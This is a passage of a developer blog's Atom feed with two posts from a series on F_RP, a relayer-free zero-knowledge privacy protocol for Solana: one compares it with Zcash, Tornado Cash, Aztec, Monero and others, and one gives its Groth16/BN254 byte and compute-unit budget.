<li>Flashbots Collective. <em>MEV-Share: programmably private orderflow.</em></li>
<li>Shutter Network. <em>EIP-8105: Universal Enshrined Encrypted Mempool.</em></li>
<li>Penumbra Labs. <em>ZSwap: shielded sealed-bid batch auctions.</em></li>
<li>ESMA (2025). <em>Maximal Extractable Value: Implications for Crypto Markets.</em> European Securities and Markets Authority.</li>
</ul>
<p>Previous: <a href="/blog/f_rp_vs_existing_privacy_systems/">F_RP vs the rest ←</a> · Next: <a href="/blog/post_quantum_relayerless_path/">The post-quantum migration path →</a></p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[F_RP vs Zcash, Tornado, RAILGUN, Aztec, Penumbra, Aleo, Namada, Monero]]></title>
  <id>https://blog.skill-issue.dev/blog/f_rp_vs_existing_privacy_systems/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/f_rp_vs_existing_privacy_systems/"/>
  <published>2026-05-12T15:00:00.000Z</published>
  <updated>2026-05-12T15:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="zk"/>
  <category term="comparison"/>
  <category term="zcash"/>
  <category term="tornado"/>
  <category term="aztec"/>
  <category term="monero"/>
  <category term="phd"/>
  <summary type="html"><![CDATA[F_RP vs nine deployed privacy systems on the four axes that matter: relayer-free, Turing-complete, on-chain verifiable on a high-perf L1, low-trust setup.]]></summary>
  <content type="html"><![CDATA[<p>import { Mermaid, TradeoffTable, Aside, Quote } from &quot;@/components/mdx&quot;;</p>
<p>I&#39;ve now spelled out the full F_RP framework. Two natural next questions:</p>
<ol>
<li>Has someone built this already?</li>
<li>If not, what&#39;s the closest existing thing and why doesn&#39;t it cover the same ground?</li>
</ol>
<p>This post answers both. We compare F_RP against nine deployed privacy systems on twelve axes. The TL;DR: <strong>no existing system simultaneously achieves relayer-free operation, Turing-complete computation privacy, and on-chain-verifiable proofs on a general-purpose Layer-1 blockchain.</strong> That&#39;s the gap F_RP fills.</p>
<p>This is post 9 of 11 in the <a href="/series/relayerless-privacy">relayerless-privacy</a> series.</p>
<h2>The matrix</h2>
<table>
<thead>
<tr>
<th>Property</th>
<th>F_RP (ours)</th>
<th>Zcash Orchard</th>
<th>Tornado Cash</th>
<th>RAILGUN</th>
<th>Aztec</th>
<th>Penumbra</th>
<th>Aleo</th>
<th>Namada</th>
<th>Monero</th>
</tr>
</thead>
<tbody><tr>
<td><strong>Relayer required</strong></td>
<td><strong>No</strong></td>
<td>No</td>
<td><strong>Yes</strong></td>
<td><strong>Yes</strong></td>
<td>No (sequencer)</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td><strong>Proof system</strong></td>
<td>Groth16 (BN254) + Nova</td>
<td>Halo 2 (IPA)</td>
<td>Groth16 (BN254)</td>
<td>Groth16 (BN254)</td>
<td>Honk (UltraPLONK)</td>
<td>Groth16 (BLS12-377)</td>
<td>Varuna (Marlin)</td>
<td>Groth16 (BLS12-381)</td>
<td>CLSAG + Bulletproofs+</td>
</tr>
<tr>
<td><strong>Proof size</strong></td>
<td>128 B compressed</td>
<td>2,720 + 2,272·n B</td>
<td>128 B</td>
<td>128 B/circuit</td>
<td>~400-800 B</td>
<td>~192 B</td>
<td>Compact (KZG)</td>
<td>~192 B</td>
<td>O(ring_size) + log(n)</td>
</tr>
<tr>
<td><strong>Verification cost</strong></td>
<td>≈150K CU on Solana</td>
<td>~10ms CPU</td>
<td>~200K gas (ETH)</td>
<td>600K-1M gas</td>
<td>Off-chain L2 batch</td>
<td>Native (L1)</td>
<td>Native (L1)</td>
<td>Native (L1)</td>
<td>O(ring_size) EC</td>
</tr>
<tr>
<td><strong>Trusted setup</strong></td>
<td>Per-circuit MPC</td>
<td><strong>None</strong></td>
<td>Per-circuit MPC</td>
<td>Per-circuit MPC</td>
<td>Universal KZG</td>
<td>Per-circuit MPC</td>
<td>Universal KZG</td>
<td>Per-circuit MPC</td>
<td><strong>None</strong></td>
</tr>
<tr>
<td><strong>Post-quantum</strong></td>
<td>No (STARK migration path)</td>
<td>No (DLOG)</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No (DLOG)</td>
</tr>
<tr>
<td><strong>Anonymity set</strong></td>
<td>Global shielded pool (2^32)</td>
<td>All Orchard notes</td>
<td>Per-denomination (2^20)</td>
<td>All shielded UTXOs</td>
<td>All encrypted notes</td>
<td>Multi-asset unified pool</td>
<td>All records</td>
<td>Multi-asset MASP</td>
<td>Ring 16 (FCMP++ pending)</td>
</tr>
<tr>
<td><strong>Programmability</strong></td>
<td><strong>Full (PPST)</strong></td>
<td>None</td>
<td>None</td>
<td>Limited DeFi</td>
<td><strong>Full (Noir)</strong></td>
<td>Limited (DEX/staking)</td>
<td><strong>Full (Leo)</strong></td>
<td>Limited (Convert)</td>
<td>None</td>
</tr>
<tr>
<td><strong>Fee mechanism</strong></td>
<td><strong>Self-paying from pool</strong></td>
<td>Self-paying via valueBalance</td>
<td><strong>Relayer pays gas</strong></td>
<td><strong>Broadcaster pays gas</strong></td>
<td>Client-side ZK fee proof</td>
<td>Public fee from balance</td>
<td>Private fee proof</td>
<td>Convert circuit</td>
<td>Public miner fee</td>
</tr>
<tr>
<td><strong>Self-sovereignty</strong></td>
<td><strong>Full (Theorem 3.13)</strong></td>
<td>Full</td>
<td><strong>Partial (relayer)</strong></td>
<td><strong>Partial (Broadcaster)</strong></td>
<td>Full (PXE-side)</td>
<td>Full</td>
<td>Full</td>
<td>Full</td>
<td>Full</td>
</tr>
<tr>
<td><strong>Target chain</strong></td>
<td><strong>Solana</strong> (smart-contract layer)</td>
<td>Zcash L1</td>
<td>Ethereum (EVM)</td>
<td>EVM L1s</td>
<td>Ethereum L2 rollup</td>
<td>Cosmos L1</td>
<td>Aleo L1</td>
<td>Namada L1</td>
<td>Monero L1 (PoW)</td>
</tr>
<tr>
<td><strong>Program privacy</strong></td>
<td><strong>Full</strong> (program inputs/outputs hidden)</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
<td>Partial (public calls visible)</td>
<td>N/A</td>
<td>Partial (program ID visible)</td>
<td>N/A</td>
<td>N/A</td>
</tr>
</tbody></table>
<h2>Three things F_RP gets that nobody else gets simultaneously</h2>
<h3>1. Relayer-free on a smart-contract chain</h3>
<p>Zcash, Penumbra, Monero, and Aleo are all relayer-free, but they&#39;re each their <strong>own L1 chain</strong>. Their consensus, validators, and fee mechanism are bespoke. They get relayer-freedom by being a chain, not by solving the smart-contract-layer problem.</p>
<p>Aztec is relayer-free on a smart-contract platform — but it&#39;s an <strong>L2 rollup with its own sequencer</strong>. The sequencer is the de facto relayer with extra steps; if it goes offline, the L2 stalls. Aztec&#39;s deployment model isn&#39;t applicable to Solana.</p>
<p>F_RP runs as a <strong>smart-contract program on Solana mainnet</strong>. Same validators that run Jupiter and Helium. No new chain, no new sequencer, no relayer. The only assumption is Solana&#39;s chain liveness — which is what every Solana program already assumes.</p>
<h3>2. Turing-complete program privacy</h3>
<p>Tornado Cash and RAILGUN provide value transfer only. No conditional logic, no AMM, no auctions — just shielded ERC-20 transfers (or fixed-denomination ETH). Adding programmability would require redesigning the protocol from the ground up.</p>
<p>Aztec and Aleo do offer programmability. Aztec ships Noir, Aleo ships Leo. Both work, both are L1-or-L2 specific.</p>
<p>F_RP&#39;s PPST construction puts arbitrary arithmetic circuits inside the proof on a chain that wasn&#39;t built for them. The R1CS for the user&#39;s program is embedded as a sub-circuit of the outer PPST relation. The Solana on-chain verifier doesn&#39;t care what the program is — it just verifies the wrapping Groth16 proof.</p>
<h3>3. On-chain verification on a high-throughput L1</h3>
<p>Solana&#39;s <code>alt_bn128</code> syscalls verify Groth16 in <del>150K CU (</del>$0.02 USD at typical priority fees). Block time ~600ms. Theoretical TPS in the tens of thousands.</p>
<table>
<thead>
<tr>
<th>Chain</th>
<th>Groth16 verification cost</th>
<th>Block time</th>
</tr>
</thead>
<tbody><tr>
<td>Ethereum L1</td>
<td><del>200K gas (</del>$5-12 USD)</td>
<td>12 s</td>
</tr>
<tr>
<td>Solana L1</td>
<td><del>150K CU (</del>$0.02 USD)</td>
<td>0.6 s</td>
</tr>
<tr>
<td>Zcash L1</td>
<td>Native (no gas model)</td>
<td>75 s</td>
</tr>
</tbody></table>
<p>The cost difference is ~250× and the latency difference is ~20×. For a privacy protocol that wants to compose with public DeFi (private swap → public AMM → private settlement), Solana&#39;s economics are the only ones that work for retail users.</p>
<h2>Where F_RP loses to existing systems</h2>
<p>Honest comparison cuts both ways. Three places F_RP loses:</p>
<h3>To Zcash Orchard: trusted setup</h3>
<p>Zcash Orchard uses <strong>Halo 2 with IPA</strong> over Pasta curves — fully transparent, no per-circuit ceremony. F_RP&#39;s primary instantiation uses Groth16 with a per-circuit MPC ceremony.</p>
<p>The migration path is the hybrid proof architecture (Theorem 3.8): inner STARK or Nova folding (transparent), outer Groth16 wrapper. Once SIMD-0302 ships on Solana (BN254 G2 syscall), we can switch the outer to PLONK with universal SRS — eliminating per-circuit ceremonies. Until then, Groth16 is the price of admission for cheap on-chain verification.</p>
<h3>To Monero: simplicity of the threat model</h3>
<p>Monero&#39;s privacy story fits in three sentences: ring signatures hide the sender, stealth addresses hide the receiver, RingCT hides the amount. No L2, no relayers, no shielded pool, no programmability. That simplicity is a <em>feature</em> — Monero has been deployed and battle-tested since 2014.</p>
<p>F_RP is more complex because it does more. Programmability is genuinely harder than value transfer. The pricing of that complexity is on the user; the gain is composability with the rest of the Solana ecosystem.</p>
<h3>To Aztec: native privacy DSL</h3>
<p>Aztec ships <strong>Noir</strong>, a Rust-like DSL purpose-built for ZK circuits. Compiles to ACIR, plugs into Honk / Barretenberg with first-class Aztec idioms (private functions, public functions, schedule-cross-boundary calls).</p>
<p>F_RP currently relies on Circom or Noir for circuit authoring, with the developer responsible for wiring the program into the PPST relation. There&#39;s no &quot;F_RP DSL&quot; yet. That&#39;s a tooling gap, not a protocol gap — Noir-to-PPST adapters are an obvious next step.</p>
<h2>What F_RP and Zcash agree on</h2>
<p>A pleasant surprise: F_RP&#39;s SPST construction and Zcash&#39;s Sapling spend description are mathematically isomorphic. Same note/commitment/nullifier model, same value-balance equation, same Pedersen value commitments.</p>
<p>The differences are deployment:</p>
<ul>
<li>Zcash runs on its own L1 with native fee handling.</li>
<li>F_RP runs on Solana with the fee extracted from a program PDA reserve.</li>
</ul>
<p>The cryptography is the same. F_RP is, in some sense, &quot;Zcash&#39;s Sapling pool, ported to Solana, extended with PPST for programs and TAB for submitter anonymity, with fees handled by an in-program reserve.&quot;</p>
<Quote attribution="Daira Hopwood, paraphrased from many Zcash protocol discussions">
The hard part is the protocol design. The cryptography is just engineering.
</Quote>

<h2>What F_RP and Aleo agree on</h2>
<p>Aleo&#39;s records model (from ZEXE) and F_RP&#39;s PPST share the core insight: <strong>a private program is an arithmetic circuit, and the proof attests to correct execution over committed state</strong>. Both use a notion of records / notes that get nullified on consumption.</p>
<p>The difference is again deployment:</p>
<ul>
<li>Aleo runs on its own L1 with a native delegated-prover marketplace.</li>
<li>F_RP runs on Solana with prover delegation as a separate off-chain market.</li>
</ul>
<p>And one big disagreement: Aleo has elected <strong>not</strong> to implement function privacy — the program ID is visible on-chain. F_RP makes the same trade-off in v1 but flags universal-circuit-based function privacy as a future extension.</p>
<h2>The 2x2x2 decision lattice</h2>
<p>Here&#39;s the same data as a decision tree:</p>
<p>&lt;Mermaid id=&quot;frp-decision-tree&quot; code={<code>graph TD   Q1{Need on-chain&lt;br/&gt;smart contracts?}   Q1 --&gt;|No| Q2{Want&lt;br/&gt;programmability?}   Q1 --&gt;|Yes| Q3{Need it&lt;br/&gt;relayer-free?}   Q2 --&gt;|No| Z[Zcash / Monero]   Q2 --&gt;|Yes| A[Aleo / Penumbra]   Q3 --&gt;|No| T[Tornado / RAILGUN&lt;br/&gt;relayer-dependent]   Q3 --&gt;|Yes| Q4{Layer 1 or 2?}   Q4 --&gt;|L2| AZ[Aztec]   Q4 --&gt;|L1| F[F_RP]   classDef leaf stroke:#4ade80,stroke-width:2px,fill:#0a0a0a,color:#fff   classDef us stroke:#facc15,stroke-width:3px,fill:#0a0a0a,color:#fff   class Z,A,T,AZ leaf   class F us </code>}/&gt;</p>
<p>The branch where F_RP lives — &quot;yes I want a smart-contract chain, yes I want relayer-free, yes I want L1, with cheap on-chain verification&quot; — is the cell that was empty until now.</p>
<h2>Bibliography</h2>
<ul>
<li>Hopwood, D., Bowe, S., Hornby, T., Wilcox, N. <em>Zcash Protocol Specification.</em> <a href="https://zips.z.cash/protocol/protocol.pdf">https://zips.z.cash/protocol/protocol.pdf</a></li>
<li>Pertsev, A., Semenov, R., Storm, R. <em>Tornado Cash Privacy Solution v1.4.</em></li>
<li>RAILGUN Documentation. <em>Privacy System Architecture.</em></li>
<li>Aztec Network. <em>Client-side Proof Generation.</em> <a href="https://aztec.network/blog/client-side-proof-generation">https://aztec.network/blog/client-side-proof-generation</a></li>
<li>Penumbra Labs. <em>Penumbra Protocol Documentation.</em> <a href="https://protocol.penumbra.zone/main/index.html">https://protocol.penumbra.zone/main/index.html</a></li>
<li>Bowe, S., Chiesa, A., Green, M., Miers, I., Mishra, P., Wu, H. (2020). <em>ZEXE.</em> IEEE S&amp;P 2020.</li>
<li>Namada Network. <em>Multi-Asset Shielded Pool.</em> <a href="https://github.com/namada-net/masp">https://github.com/namada-net/masp</a></li>
<li>Noether, S., Mackenzie, A. (2016). <em>Ring Confidential Transactions.</em> MRL-0005.</li>
</ul>
<p>Previous: <a href="/blog/solana_instantiation_656_bytes/">Solana instantiation ←</a> · Next: <a href="/blog/mev_resistance_in_private_execution/">MEV resistance →</a></p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Fitting F_RP in 656 bytes on Solana]]></title>
  <id>https://blog.skill-issue.dev/blog/solana_instantiation_656_bytes/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/solana_instantiation_656_bytes/"/>
  <published>2026-05-10T15:00:00.000Z</published>
  <updated>2026-05-10T15:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="zk"/>
  <category term="solana"/>
  <category term="bn254"/>
  <category term="alt_bn128"/>
  <category term="engineering"/>
  <category term="phd"/>
  <summary type="html"><![CDATA[Concrete F_RP instantiation on Solana. Groth16 over BN254, Poseidon Merkle, indexed nullifier tree, BN254 Pedersen, transaction in 656 of 1,232 bytes, 235K of 1.4M CU.]]></summary>
  <content type="html"><![CDATA[<p>import { Mermaid, TradeoffTable, Aside, Quote } from &quot;@/components/mdx&quot;;</p>
<p>The previous six posts derived F_RP at the level of relations and theorems. This post is the engineering side: every byte and every compute unit.</p>
<p>The headline numbers:</p>
<table>
<thead>
<tr>
<th>Resource</th>
<th>Used by F_RP</th>
<th>Solana hard cap</th>
<th>Headroom</th>
</tr>
</thead>
<tbody><tr>
<td>Transaction bytes</td>
<td><strong>656</strong></td>
<td>1,232 (legacy) / 4,096 (SIMD-0296)</td>
<td>576 / 3,440</td>
</tr>
<tr>
<td>Compute units</td>
<td><strong>~235,000</strong></td>
<td>1,400,000</td>
<td>1,165,000</td>
</tr>
<tr>
<td>On-chain Groth16 verify</td>
<td><strong>~150,000</strong></td>
<td>(subset of CU above)</td>
<td>—</td>
</tr>
<tr>
<td>Proof size (compressed)</td>
<td><strong>128</strong></td>
<td>(subset of bytes above)</td>
<td>—</td>
</tr>
</tbody></table>
<p>This is post 8 of 11 in the <a href="/series/relayerless-privacy">relayerless-privacy</a> series.</p>
<Aside kind="note">
None of the numbers below are speculative. Groth16-on-Solana has been live on mainnet since v1.16 (alt_bn128 syscalls). Light Protocol's [`groth16-solana`](https://github.com/Lightprotocol/groth16-solana) verifier is the production reference. Numbers come from Helius's [ZK applications report](https://www.helius.dev/blog/zero-knowledge-proofs-its-applications-on-solana) and Light's own benchmarks.
</Aside>

<h2>Proof system: Groth16 over BN254</h2>
<p><strong>Why Groth16, not PLONK or STARK.</strong> Three reasons:</p>
<ol>
<li><strong>128-byte compressed proof.</strong> Smallest known SNARK output. Critical for Solana&#39;s 1,232-byte transaction envelope.</li>
<li><strong><code>&lt; 200,000 CU</code> verification on-chain.</strong> The <code>sol_alt_bn128_group_op</code> and <code>sol_alt_bn128_pairing</code> syscalls (live since v1.16) make BN254 ops native to the validator runtime.</li>
<li><strong>Existing infrastructure.</strong> Light Protocol&#39;s groth16-solana is already deployed; ZK Compression on mainnet uses it.</li>
</ol>
<p>PLONK is plausible once SIMD-0302 (BN254 G2 arithmetic syscall, in Review as of Q1 2026) activates — but as of writing, full G2 scalar multiplication is not a syscall, so KZG-based PLONK verification is impractical.</p>
<p>STARKs are too big: a single STARK proof is ~50–200 KB, way over the transaction limit. Hybrid wrapping (STARK inner, Groth16 outer) gives the best of both — Theorem 3.8.</p>
<table>
<thead>
<tr>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody><tr>
<td>Curve</td>
<td>BN254 (alt_bn128)</td>
</tr>
<tr>
<td>Proof structure</td>
<td>π = (A ∈ 𝔾_1, B ∈ 𝔾_2, C ∈ 𝔾_1)</td>
</tr>
<tr>
<td>Uncompressed size</td>
<td>256 bytes (64 + 128 + 64)</td>
</tr>
<tr>
<td>Compressed via <code>sol_alt_bn128_compression</code></td>
<td><strong>128 bytes</strong></td>
</tr>
<tr>
<td>Security level</td>
<td>~128 bits (Barbulescu-Duquesne 2019 conservative estimate)</td>
</tr>
<tr>
<td>Trusted setup</td>
<td>Per-circuit MPC (Powers-of-Tau)</td>
</tr>
</tbody></table>
<h2>Hash function: Poseidon over BN254 scalar field</h2>
<p>Poseidon is the standard SNARK-friendly hash for BN254 circuits. Solana ships it as a native syscall (<code>sol_poseidon</code>).</p>
<table>
<thead>
<tr>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody><tr>
<td>Field</td>
<td><code>𝔽_p</code> where p = BN254 scalar field order</td>
</tr>
<tr>
<td>State width</td>
<td>t = 3 (binary tree: 2 inputs → 1 output)</td>
</tr>
<tr>
<td>S-box exponent</td>
<td>α = 5 (gcd(5, p-1) = 1 holds)</td>
</tr>
<tr>
<td>Full rounds</td>
<td>R_F = 8</td>
</tr>
<tr>
<td>Partial rounds</td>
<td>R_P = 57</td>
</tr>
<tr>
<td>R1CS constraints per hash</td>
<td>8·3·4 + 57·4 = 96 + 228 = <strong>324</strong></td>
</tr>
<tr>
<td>Native syscall</td>
<td><code>sol_poseidon</code> (mainnet, v1.16+)</td>
</tr>
</tbody></table>
<p>This is what Light Protocol&#39;s compressed-account commitments use. Same hash everywhere keeps the compressed-account ↔ F_RP boundary clean.</p>
<h2>Merkle trees</h2>
<p>Two trees, both Poseidon-based:</p>
<h3>Note commitment tree (depth 32)</h3>
<table>
<thead>
<tr>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody><tr>
<td>Depth</td>
<td>d = 32</td>
</tr>
<tr>
<td>Capacity</td>
<td>2^32 ≈ 4.3 × 10^9 notes</td>
</tr>
<tr>
<td>On-chain state</td>
<td>32-byte root in PDA</td>
</tr>
<tr>
<td>Off-chain state</td>
<td>Light Protocol ZK Compression (Solana ledger call data)</td>
</tr>
<tr>
<td>Membership-proof circuit cost</td>
<td>32 · 324 ≈ 10,400 R1CS constraints</td>
</tr>
</tbody></table>
<h3>Nullifier tree (Indexed Merkle, depth 32)</h3>
<p>The nullifier set needs efficient <em>non-membership</em> checks. Sparse Merkle Trees over 254-bit hashes would cost 254 · 324 ≈ 82,300 constraints per non-membership proof. Indexed Merkle Trees (Aztec&#39;s construction) drop this to depth 32:</p>
<p>$$
C_{\mathsf{IMT-nonmem}} ;=; 32 \cdot 324 + 324 + 256 ;\approx; 10{,}948 \text{ R1CS constraints.}
$$</p>
<p>A <strong>7.5× reduction</strong> at the cost of maintaining a sorted linked list off-chain.</p>
<p>Aztec&#39;s design proves the &quot;low nullifier&quot; — the leaf where the new nullifier would slot in — and asserts the new value is in the gap. Two range checks plus a standard Merkle path.</p>
<h2>Pedersen commitments over BN254 𝔾_1</h2>
<p>Used for value hiding inside SPST + range-proof aggregation.</p>
<table>
<thead>
<tr>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody><tr>
<td>Group</td>
<td>BN254 𝔾_1 (prime order p ≈ 2^254)</td>
</tr>
<tr>
<td>Generators</td>
<td>G, H ∈ 𝔾_1 with unknown DL relation</td>
</tr>
<tr>
<td>Commitment</td>
<td>C = v · G + r · H</td>
</tr>
<tr>
<td>Value range</td>
<td>v ∈ [0, 2^64)</td>
</tr>
<tr>
<td>Range proof</td>
<td>In-circuit bit decomposition: 128 R1CS constraints / 64-bit value</td>
</tr>
<tr>
<td>Homomorphism</td>
<td>C_1 + C_2 = Com(v_1 + v_2, r_1 + r_2)</td>
</tr>
</tbody></table>
<p><strong>Why BN254 𝔾_1, not Curve25519?</strong> Solana&#39;s native Twisted ElGamal commitments live on Ristretto255 / Curve25519. We don&#39;t reuse them for two reasons:</p>
<ol>
<li><strong>Curve mismatch.</strong> Groth16 needs pairing-friendly BN254. Solana&#39;s Ed25519 / Curve25519 is not pairing-friendly. Mixing the two would require expensive cross-curve gadgets.</li>
<li><strong>Different threat model.</strong> Token-2022 confidential transfers hide <em>amounts</em>. F_RP needs to hide <em>amounts + senders + receivers + program logic</em>. The two are different protocols on different math; clean separation is correct.</li>
</ol>
<h2>Key derivation</h2>
<p>The privacy framework uses its own key hierarchy, independent of the user&#39;s Solana Ed25519 keypair:</p>
<table>
<thead>
<tr>
<th>Key</th>
<th>Derivation</th>
<th>Purpose</th>
</tr>
</thead>
<tbody><tr>
<td>Spending key sk</td>
<td><code>sk ← {0,1}^256</code> random</td>
<td>Master secret</td>
</tr>
<tr>
<td>Nullifier key nk</td>
<td><code>Poseidon(sk, &quot;nk&quot;)</code></td>
<td>Derives nullifiers</td>
</tr>
<tr>
<td>Public key pk</td>
<td><code>sk · G</code> (G ∈ BN254 𝔾_1)</td>
<td>Identifies note owner</td>
</tr>
<tr>
<td>Viewing key vk</td>
<td><code>Poseidon(sk, &quot;vk&quot;)</code></td>
<td>Decrypts incoming notes</td>
</tr>
</tbody></table>
<p>The Solana Ed25519 keypair signs the transaction envelope (paying the on-chain fee from the privacy program&#39;s reserve). The ZK proof internally proves authorisation via the spending key. <strong>Compromise of one does not compromise the other.</strong></p>
<h2>Transaction layout</h2>
<p>A canonical 2-input / 2-output SPST transaction:</p>
<table>
<thead>
<tr>
<th>Component</th>
<th>Size (bytes)</th>
<th>Notes</th>
</tr>
</thead>
<tbody><tr>
<td>Groth16 proof (compressed)</td>
<td>128</td>
<td>via <code>sol_alt_bn128_compression</code></td>
</tr>
<tr>
<td>Nullifiers (2 × 32)</td>
<td>64</td>
<td>Public input; checked against on-chain set</td>
</tr>
<tr>
<td>Output commitments (2 × 32)</td>
<td>64</td>
<td>Poseidon hashes</td>
</tr>
<tr>
<td>Merkle root</td>
<td>32</td>
<td>Anchors the proof to recent state</td>
</tr>
<tr>
<td>Fee (u64)</td>
<td>8</td>
<td>Public, in lamports</td>
</tr>
<tr>
<td>Encrypted note ciphertexts (2)</td>
<td>128</td>
<td>For recipient note discovery</td>
</tr>
<tr>
<td>Anchor instruction discriminator</td>
<td>8</td>
<td>Standard Anchor program</td>
</tr>
<tr>
<td>Account references (with ALT)</td>
<td>~120</td>
<td>Program ID, PDAs, system accounts</td>
</tr>
<tr>
<td>Ed25519 signature</td>
<td>64</td>
<td>Transaction-level auth</td>
</tr>
<tr>
<td>Transaction headers</td>
<td>~40</td>
<td>Recent blockhash, message header</td>
</tr>
<tr>
<td><strong>Total</strong></td>
<td><strong>~656</strong></td>
<td><strong>Within 1,232-byte limit</strong></td>
</tr>
</tbody></table>
<p><strong>Headroom: ~576 bytes.</strong> Enough for:</p>
<ul>
<li>A second Groth16 proof (composed PPST + SPST).</li>
<li>A 4-input / 4-output transaction instead of 2-in / 2-out.</li>
<li>Ring signature of size ~17 (instead of 64-byte simple Ed25519 sig) for in-tx anonymity.</li>
</ul>
<p>Under SIMD-0296 (4,096 bytes), the headroom triples.</p>
<h2>Compute unit budget</h2>
<table>
<thead>
<tr>
<th>Operation</th>
<th>CU cost</th>
<th>Source</th>
</tr>
</thead>
<tbody><tr>
<td>Groth16 verification (3 pairings + public-input MSMs)</td>
<td>~150,000</td>
<td>groth16-solana benchmarks</td>
</tr>
<tr>
<td>Nullifier set check (2 PDA reads + comparison)</td>
<td>~50,000</td>
<td>Compressed account lookups</td>
</tr>
<tr>
<td>Merkle root validation (1 PDA read)</td>
<td>~10,000</td>
<td>Light Protocol root cache</td>
</tr>
<tr>
<td>Note insertion + state updates (compressed account write via CPI)</td>
<td>~20,000</td>
<td>ZK Compression v2 batched updates</td>
</tr>
<tr>
<td>Borsh deserialization</td>
<td>~5,000</td>
<td>Standard overhead</td>
</tr>
<tr>
<td><strong>Total</strong></td>
<td><strong>~235,000</strong></td>
<td><strong>16.8% of 1.4M CU limit</strong></td>
</tr>
</tbody></table>
<p>Headroom: 1,165,000 CU. Enough for:</p>
<ul>
<li>A second Groth16 verification (composed PPST + SPST): +150K → total 385K CU (27.5% of limit).</li>
<li>Auxiliary in-program Poseidon hashing via <code>sol_poseidon</code> for state derivations.</li>
<li>CPI calls to external programs (token transfers for unshielding, swap execution for atomic private DEX).</li>
</ul>
<h2>Existing infrastructure used</h2>
<table>
<thead>
<tr>
<th>Infrastructure</th>
<th>Integration point</th>
<th>Status</th>
</tr>
</thead>
<tbody><tr>
<td><a href="https://www.zkcompression.com/resources/whitepaper">Light Protocol / ZK Compression</a></td>
<td>Merkle tree state, compressed accounts</td>
<td>Production (mainnet)</td>
</tr>
<tr>
<td><a href="https://github.com/Lightprotocol/groth16-solana"><code>groth16-solana</code></a> verifier</td>
<td>Groth16 verification crate</td>
<td>Production</td>
</tr>
<tr>
<td><code>sol_poseidon</code> syscall</td>
<td>In-program Poseidon hashing</td>
<td>Live (mainnet, v1.16+)</td>
</tr>
<tr>
<td><code>sol_alt_bn128_group_op</code> syscalls</td>
<td>BN254 group ops for proof verification</td>
<td>Live (mainnet, v1.16+)</td>
</tr>
<tr>
<td><code>sol_alt_bn128_compression</code></td>
<td>G1/G2 point compression</td>
<td>Live (mainnet)</td>
</tr>
<tr>
<td>Address Lookup Tables</td>
<td>Compact account references</td>
<td>Production</td>
</tr>
<tr>
<td>SIMD-0296 (4,096-byte transactions)</td>
<td>Extended tx envelope for ring sigs / PPST</td>
<td>Approved Q4 2025; pending activation</td>
</tr>
</tbody></table>
<p>The protocol is <strong>deployable today</strong> with the legacy 1,232-byte transaction format. SIMD-0296 makes it more comfortable but isn&#39;t a hard prerequisite.</p>
<h2>What we still need from Solana</h2>
<p>For full F_RP, two SIMDs are nice-to-have:</p>
<h3>SIMD-0302 (BN254 G2 arithmetic syscall)</h3>
<p>Currently in Review. Adds native G2 scalar multiplication and addition. Without it, full PLONK / KZG verification on-chain is expensive (G2 ops in the BPF VM). With it, F_RP can switch to a universal SRS that doesn&#39;t need a per-circuit Groth16 ceremony.</p>
<p>Estimated impact: PLONK verification ~400–600K CU vs Groth16&#39;s ~150K. Larger but eliminates per-circuit ceremony. Worthwhile tradeoff for a multi-program ecosystem.</p>
<h3>Re-activation of the ZK ElGamal Proof Program</h3>
<p>Currently disabled following the Phantom Challenge bug (Fiat-Shamir transcript missing a hash input — June 2025). When re-activated, F_RP can lean on the existing native sigma-proof / Bulletproofs verifier for some sub-protocols. Until then, all proofs go through the BN254 Groth16 path.</p>
<h2>End-to-end latency budget</h2>
<p>For a 2-in / 2-out SPST transaction on commodity hardware:</p>
<table>
<thead>
<tr>
<th>Phase</th>
<th>Time</th>
<th>Notes</th>
</tr>
</thead>
<tbody><tr>
<td>Read on-chain state (Merkle root + recent blockhash)</td>
<td>~50 ms</td>
<td>RPC roundtrip</td>
</tr>
<tr>
<td>Local proof generation (Apple M2, 8-core)</td>
<td><strong>0.5–1.5 s</strong></td>
<td>Dominated by FFT + MSM</td>
</tr>
<tr>
<td>Transaction broadcast</td>
<td>~50 ms</td>
<td>Direct to validator RPC</td>
</tr>
<tr>
<td>Slot inclusion + finality</td>
<td>~600 ms</td>
<td>Solana block time + confirmation</td>
</tr>
<tr>
<td><strong>Total user-perceived latency</strong></td>
<td><strong>~1.5–3 s</strong></td>
<td></td>
</tr>
</tbody></table>
<p>Most of the latency is <em>prover time</em>, not chain time. A GPU prover (ICICLE on RTX 4090) drops this to <del>300 ms. Browser-side proving via wasm-bindgen-rayon is workable but slower (</del>5–8 s) — discussed in <a href="/blog/proving_in_the_browser_by_the_numbers/">Proving in the browser, by the numbers</a>.</p>
<h2>What runs on the validators is intentionally boring</h2>
<p>On the chain side, F_RP is just three things:</p>
<ol>
<li>A Solana program (Anchor-based) that verifies Groth16 + nullifier checks + state updates.</li>
<li>A Light Protocol-compatible Merkle tree state.</li>
<li>An on-chain account holding the protocol&#39;s lamport reserve (replenished from shield deposits, drained by validator fee extractions).</li>
</ol>
<p>That&#39;s it. No relayers, no off-chain operators, no governance multisig (other than for emergency pause). The boring deployment surface is the point.</p>
<h2>Bibliography</h2>
<ul>
<li>Light Protocol. <em>ZK Compression Whitepaper.</em> <a href="https://www.zkcompression.com/resources/whitepaper">https://www.zkcompression.com/resources/whitepaper</a></li>
<li>Light Protocol. <em>groth16-solana on-chain verifier.</em> <a href="https://github.com/Lightprotocol/groth16-solana">https://github.com/Lightprotocol/groth16-solana</a></li>
<li>Helius. <em>Zero-Knowledge Proofs: Applications on Solana.</em> <a href="https://www.helius.dev/blog/zero-knowledge-proofs-its-applications-on-solana">https://www.helius.dev/blog/zero-knowledge-proofs-its-applications-on-solana</a></li>
